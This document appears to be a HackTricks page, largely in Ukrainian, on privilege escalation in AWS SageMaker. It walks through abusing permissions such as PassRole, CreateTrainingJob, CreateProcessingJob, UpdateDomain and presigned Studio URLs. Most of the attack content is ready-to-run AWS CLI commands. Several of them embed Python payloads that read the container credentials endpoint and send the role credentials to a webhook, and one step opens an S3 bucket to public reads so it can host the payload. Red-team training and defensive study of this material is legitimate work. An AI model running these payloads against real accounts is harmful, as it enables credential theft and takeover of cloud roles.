AWS - Sagemaker Privesc

Reading time: 14 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

AWS - Sagemaker Privesc

iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

Почніть створення notebook із прикріпленою до нього IAM Role для доступу:

bash
aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

У відповіді має бути поле NotebookInstanceArn, яке міститиме ARN щойно створеного notebook instance. Потім ми можемо використати API create-presigned-notebook-instance-url, щоб згенерувати URL, за допомогою якого ми зможемо отримати доступ до notebook instance, коли він буде готовий:

bash
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>

Перейдіть за URL у браузері та натисніть `Open JupyterLab`` у верхньому правому куті, потім прокрутіть вниз до “Launcher” вкладки і в розділі “Other” натисніть кнопку “Terminal”.

Тепер можна отримати доступ до облікових даних метаданих ролі IAM.

Потенційний вплив: Privesc до вказаної sagemaker service role.

sagemaker:CreatePresignedNotebookInstanceUrl

Якщо на ньому вже запущені Jupyter notebooks і ви можете перерахувати їх за допомогою sagemaker:ListNotebookInstances (або знайти іншим способом), ви можете згенерувати для них URL, отримати до них доступ і вкрасти облікові дані, як описано в попередній техніці.

bash
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

Можливий вплив: Privesc до прикріпленої sagemaker service role.

sagemaker:CreatePresignedDomainUrl

warning

Ця атака працює лише на старих традиційних доменах SageMaker Studio, а не на тих, створених SageMaker Unified Studio. Домени з Unified Studio повернуть помилку: "This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal".

Ідентичність, яка має дозвіл викликати sagemaker:CreatePresignedDomainUrl на цільовому Studio UserProfile, може згенерувати login URL, який автентифікує безпосередньо в SageMaker Studio як цей профіль. Це надає браузеру нападника Studio session, що успадковує права ExecutionRole профілю та повний доступ до EFS-backed home та додатків профілю. Не потрібні iam:PassRole або доступ до консолі.

Вимоги:

  • Наявність SageMaker Studio Domain та цільового UserProfile всередині нього.
  • Принципал нападника повинен мати sagemaker:CreatePresignedDomainUrl на цільовому UserProfile (на рівні ресурсу) або *.

Приклад мінімальної політики (обмежено для одного UserProfile):

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sagemaker:CreatePresignedDomainUrl",
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
}
]
}

Кроки зловживання:

  1. Перелічте Studio Domain і UserProfiles, на які можна націлитися
bash
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
aws sagemaker list-user-profiles --domain-id-equals $DOM
TARGET_USER=<UserProfileName>
  1. Перевірте, чи unified studio не використовується (attack працює лише на традиційних доменах SageMaker Studio)
bash
aws sagemaker describe-domain --domain-id <DOMAIN_ID> --query 'DomainSettings'
# If you get info about unified studio, this attack won't work
  1. Згенеруйте presigned URL (дійсний приблизно 5 хвилин за замовчуванням)
bash
aws sagemaker create-presigned-domain-url \
--domain-id $DOM \
--user-profile-name $TARGET_USER \
--query AuthorizedUrl --output text
  1. Відкрийте отриманий URL у браузері, щоб увійти в Studio як цільовий користувач. У терміналі Jupyter всередині Studio перевірте ефективну ідентичність або exfiltrate the token:
bash
aws sts get-caller-identity

Примітки:

  • --landing-uri можна опустити. Деякі значення (наприклад, app:JupyterLab:/lab) можуть бути відхилені залежно від варіанту/версії Studio; за замовчуванням зазвичай переадресовують на домашню сторінку Studio, а потім до Jupyter.
  • Політики організації/обмеження VPC endpoint все ще можуть блокувати мережевий доступ; емісія токена не вимагає входу в консоль або iam:PassRole.

Можливий вплив: Латеральне переміщення та ескалація привілеїв шляхом прийняття будь‑якого Studio UserProfile, ARN якого дозволений, з успадкуванням його ExecutionRole та файлової системи/додатків.

sagemaker:CreatePresignedMlflowTrackingServerUrl, sagemaker-mlflow:AccessUI, sagemaker-mlflow:SearchExperiments

Ідентичність, яка має дозвіл викликати sagemaker:CreatePresignedMlflowTrackingServerUrlsagemaker-mlflow:AccessUI, sagemaker-mlflow:SearchExperiments для подальшого доступу) для цільового SageMaker MLflow Tracking Server, може згенерувати одноразовий presigned URL, який автентифікується безпосередньо в керованому MLflow UI цього сервера. Це надає той самий доступ, що й легітимний користувач сервера (перегляд/створення експериментів і прогонів, а також завантаження/вивантаження артефактів у S3‑сховище артефактів сервера).

Вимоги:

  • Наявність SageMaker MLflow Tracking Server в акаунті/регіоні та його ім'я.
  • Принципал атакуючого повинен мати sagemaker:CreatePresignedMlflowTrackingServerUrl на ресурсі цільового MLflow Tracking Server (або *).

Кроки зловживання:

  1. Перелічіть MLflow Tracking Servers, які ви можете націлити, і виберіть одне ім'я
bash
aws sagemaker list-mlflow-tracking-servers \
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
TS_NAME=<tracking-server-name>
  1. Згенеруйте presigned MLflow UI URL (дійсний протягом короткого часу)
bash
aws sagemaker create-presigned-mlflow-tracking-server-url \
--tracking-server-name "$TS_NAME" \
--query AuthorizedUrl --output text
  1. Відкрийте повернутий URL у браузері, щоб отримати доступ до MLflow UI як автентифікований користувач для цього Tracking Server.

Потенційний вплив: Безпосередній доступ до керованого MLflow UI для цільового Tracking Server, що дозволяє переглядати та змінювати experiments/runs та отримувати або завантажувати артефакти, збережені в сконфігурованому S3 artifact store сервера, у межах дозволів, накладених конфігурацією сервера.

sagemaker:CreateProcessingJob, iam:PassRole

Атакуючий з такими дозволами може змусити SageMaker виконати processing job з прикріпленою роллю SageMaker. Повторно використовуючи один із AWS Deep Learning Containers, які вже містять Python (і запускаючи job у тому ж регіоні, що й URI), можна запустити inline-код без побудови власних образів:

bash
REGION=<region>
ROLE_ARN=<sagemaker-arn-role>
IMAGE=683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3
ENV='{"W":"https://example.com/webhook"}'

aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig":{"InstanceCount":1,"InstanceType":"ml.t3.medium","VolumeSizeInGB":50}}' \
--app-specification "{\"ImageUri\":\"$IMAGE\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--environment "$ENV" \
--role-arn $ROLE_ARN

# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.

Potential Impact: Privesc до вказаної ролі сервісу sagemaker.

sagemaker:CreateTrainingJob, iam:PassRole

An attacker з такими дозволами може запустити training job, який виконує довільний код з вказаною роллю. Використовуючи офіційний контейнер SageMaker і перезаписавши entrypoint за допомогою inline payload, вам не потрібно створювати власні образи:

bash
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
ENV='{"W":"https://example.com/webhook"}'
OUTPUT_S3=s3://<existing-bucket>/training-output/
# El rol debe poder leer imágenes de ECR (p.e. AmazonEC2ContainerRegistryReadOnly) y escribir en OUTPUT_S3.

aws sagemaker create-training-job \
--training-job-name privesc-train \
--role-arn $ROLE_ARN \
--algorithm-specification "{\"TrainingImage\":\"$IMAGE\",\"TrainingInputMode\":\"File\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--output-data-config "{\"S3OutputPath\":\"$OUTPUT_S3\"}" \
--resource-config '{"InstanceCount":1,"InstanceType":"ml.m5.large","VolumeSizeInGB":50}' \
--stopping-condition '{"MaxRuntimeInSeconds":600}' \
--environment "$ENV"

# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.

Потенційний вплив: Privesc до вказаної SageMaker service role.

sagemaker:CreateHyperParameterTuningJob, iam:PassRole

Зловмисник з такими дозволами може запустити HyperParameter Tuning Job, який виконує код, контрольований зловмисником, під наданою роллю. Script mode вимагає розміщення payload в S3, але всі кроки можна автоматизувати з CLI:

bash
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
BUCKET=sm-hpo-privesc-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION

# Allow public reads so any SageMaker role can pull the code
aws s3api put-public-access-block \
--bucket $BUCKET \
--public-access-block-configuration '{
"BlockPublicAcls": false,
"IgnorePublicAcls": false,
"BlockPublicPolicy": false,
"RestrictPublicBuckets": false
}'

aws s3api put-bucket-policy --bucket $BUCKET --policy "{
\"Version\": \"2012-10-17\",
\"Statement\": [
{
\"Effect\": \"Allow\",
\"Principal\": \"*\",
\"Action\": \"s3:GetObject\",
\"Resource\": \"arn:aws:s3:::$BUCKET/*\"
}
]
}"

cat <<'EOF' > /tmp/train.py
import os, time, urllib.request

def main():
meta = os.environ.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI")
if not meta:
return
creds = urllib.request.urlopen(f"http://169.254.170.2{meta}").read()
req = urllib.request.Request(
"https://example.com/webhook",
data=creds,
headers={"Content-Type": "application/json"}
)
urllib.request.urlopen(req)
print("train:loss=0")
time.sleep(300)

if __name__ == "__main__":
main()
EOF

cd /tmp
tar -czf code.tar.gz train.py
aws s3 cp code.tar.gz s3://$BUCKET/code/train-code.tar.gz --region $REGION --acl public-read

echo "dummy" > /tmp/input.txt
aws s3 cp /tmp/input.txt s3://$BUCKET/input/dummy.txt --region $REGION --acl public-read

IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
CODE_S3=s3://$BUCKET/code/train-code.tar.gz
TRAIN_INPUT_S3=s3://$BUCKET/input
OUTPUT_S3=s3://$BUCKET/output
# El rol necesita permisos ECR y escritura en el bucket.

cat > /tmp/hpo-definition.json <<EOF
{
"AlgorithmSpecification": {
"TrainingImage": "$IMAGE",
"TrainingInputMode": "File",
"MetricDefinitions": [{"Name": "train:loss", "Regex": "train:loss=([0-9.]+)"}]
},
"StaticHyperParameters": {
"sagemaker_program": "train.py",
"sagemaker_submit_directory": "$CODE_S3"
},
"RoleArn": "$ROLE_ARN",
"InputDataConfig": [
{
"ChannelName": "training",
"DataSource": {
"S3DataSource": {
"S3DataType": "S3Prefix",
"S3Uri": "$TRAIN_INPUT_S3",
"S3DataDistributionType": "FullyReplicated"
}
}
}
],
"OutputDataConfig": {
"S3OutputPath": "$OUTPUT_S3"
},
"ResourceConfig": {
"InstanceType": "ml.m5.large",
"InstanceCount": 1,
"VolumeSizeInGB": 50
},
"StoppingCondition": {
"MaxRuntimeInSeconds": 600
}
}
EOF

aws sagemaker create-hyper-parameter-tuning-job \
--hyper-parameter-tuning-job-name privesc-hpo \
--hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \
--training-job-definition file:///tmp/hpo-definition.json

Кожне тренування, запущене цим процесом, виводить метрику та експфільтрує облікові дані вказаної ролі.

sagemaker:UpdateUserProfile, iam:PassRole, sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)

Маючи дозвіл оновлювати SageMaker Studio User Profile, створювати app, presigned URL до app та iam:PassRole, зловмисник може встановити ExecutionRole на будь-яку IAM роль, яку сервісний принципал SageMaker може прийняти. Нові Studio apps, запущені для цього профілю, працюватимуть із заміненою роллю, надаючи інтерактивні підвищені привілеї через Jupyter terminals або jobs, запущені зі Studio.

warning

Ця атака вимагає, щоб у профілі не було додатків, інакше створення app зазнає невдачі з помилкою, подібною до: An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again. Якщо є будь-який app, вам знадобиться дозвіл sagemaker:DeleteApp, щоб спочатку їх видалити.

Кроки:

bash
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>

# 3) Update the Studio profile to use the new role (no iam:PassRole)
aws sagemaker update-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--user-settings ExecutionRole=$ROLE_ARN

aws sagemaker describe-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query 'UserSettings.ExecutionRole' --output text

# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>

# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>

# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>


# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text

# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity
#    (should show the high-privilege role from domain defaults)

Можливий вплив: Ескалація привілеїв до дозволів вказаної ролі виконання SageMaker для інтерактивних сесій Studio.

sagemaker:UpdateDomain, sagemaker:CreateApp, iam:PassRole, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)

Маючи дозволи на оновлення SageMaker Studio Domain, створення app, presigned URL до app та iam:PassRole, зловмисник може встановити роль виконання за замовчуванням домену ExecutionRole на будь-яку IAM роль, яку може прийняти service principal SageMaker. Нові Studio apps, запущені для цього профілю, будуть працювати з підміненою роллю, надаючи інтерактивні підвищені права через термінали Jupyter або завдання, запущені зі Studio.

warning

Ця атака вимагає відсутності додатків у домені, інакше створення додатку завершиться помилкою: An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.

Кроки:

bash
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>

# 3) Change the domain default so every profile inherits the new role
aws sagemaker update-domain \
--domain-id <DOMAIN_ID> \
--default-user-settings ExecutionRole=$ROLE_ARN

aws sagemaker describe-domain \
--domain-id <DOMAIN_ID> \
--query 'DefaultUserSettings.ExecutionRole' --output text

# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>

# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>

# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--app-type JupyterServer \
--app-name js-domain-escalated

# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text

# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity
#    (should show the high-privilege role from domain defaults)

Potential Impact: Privilege escalation до дозволів зазначеної SageMaker execution role для інтерактивних Studio сесій.

sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl

Зловмисник, який має дозвіл створювати SageMaker Studio app для цільового UserProfile, може запустити JupyterServer app, що виконуватиметься з профілю ExecutionRole. Це забезпечує інтерактивний доступ до дозволів ролі через термінали Jupyter або jobs, запущені зі Studio.

Кроки:

bash
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# 3) Create a JupyterServer app for the user profile
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name js-privesc

# 4) Generate a presigned URL to access Studio
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text

# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity

Потенційний вплив: Інтерактивний доступ до ролі виконання SageMaker, прикріпленої до цільового UserProfile.

iam:GetUser, datazone:CreateUserProfile

Зловмисник із такими дозволами може надати користувачу (IAM user) доступ до Sagemaker Unified Studio Domain, створивши для нього DataZone User Profile.

bash
# List domains
aws datazone list-domains --region us-east-1 \
--query "items[].{Id:id,Name:name}" \
--output json

# Add IAM user as a user of the domain
aws datazone create-user-profile \
--region us-east-1 \
--domain-identifier <domain-id> \
--user-identifier <arn-user> \
--user-type IAM_USER

URL Unified Domain має наступний формат: https://<domain-id>.sagemaker.<region>.on.aws/ (e.g. https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/).

Потенційний вплив: Наявність доступу до Sagemaker Unified Studio Domain як користувача дає змогу отримати доступ до всіх ресурсів всередині Sagemaker domain та навіть ескалювати привілеї до role, яку використовують notebooks всередині Sagemaker Unified Studio Domain.

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks